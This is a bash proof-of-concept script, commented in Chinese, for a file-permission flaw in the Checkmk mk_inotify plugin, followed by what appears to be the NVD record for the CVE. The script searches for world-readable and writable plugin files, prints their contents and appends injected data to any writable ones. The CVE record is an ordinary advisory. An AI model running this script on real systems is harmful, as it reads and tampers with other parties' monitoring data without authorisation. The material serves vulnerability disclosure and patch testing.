CVE-2025-64996

#!/bin/bash # CVE-2025-64996 PoC - Checkmk mk_inotify权限配置不当漏洞利用 # 前提条件：需要本地用户访问权限 echo "[*] CVE-2025-64996 Checkmk mk_inotify权限配置不当漏洞 PoC" echo "[*] 目标：Checkmk < 2.4.0p16, < 2.3.0p41, <= 2.2.0" # 查找mk_inotify插件生成的全局可读写文件 echo "[+] 步骤1: 搜索mk_inotify插件相关的全局可读写文件..." find /var/lib/check_mk -name "*inotify*" -perm -006 2>/dev/null # 尝试读取插件输出文件 echo "[+] 步骤2: 读取mk_inotify插件输出..." for file in $(find /var/lib/check_mk -name "*inotify*" -perm -004 2>/dev/null); do echo "[*] 读取文件: $file" cat "$file" 2>/dev/null || echo "无法读取" done # 尝试修改插件输出文件 echo "[+] 步骤3: 测试文件写入权限..." for file in $(find /var/lib/check_mk -name "*inotify*" -perm -002 2>/dev/null); do if [ -w "$file" ]; then echo "[+] 可写文件: $file" echo "malicious_data_injected" >> "$file" echo "[*] 已在 $file 中注入测试数据" fi done echo "[+] PoC执行完成"

{"cve": {"id": "CVE-2025-64996", "sourceIdentifier": "[email protected]", "published": "2025-11-18T16:15:46.563", "lastModified": "2025-11-24T14:13:26.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Checkmk versions prior to 2.4.0p16, 2.3.0p41, and all versions of 2.2.0 and older, the mk_inotify plugin creates world-readable and writable files, allowing any local user on the system to read the plugin's output and manipulate it, potentially leading to unauthorized access to or modification of monitoring data."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.0", "matchCriteriaId": "784262E3-E643-4564-9FFE-BB8FEDB0A662"}, {"vulnerable": true, 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true, "crite ... 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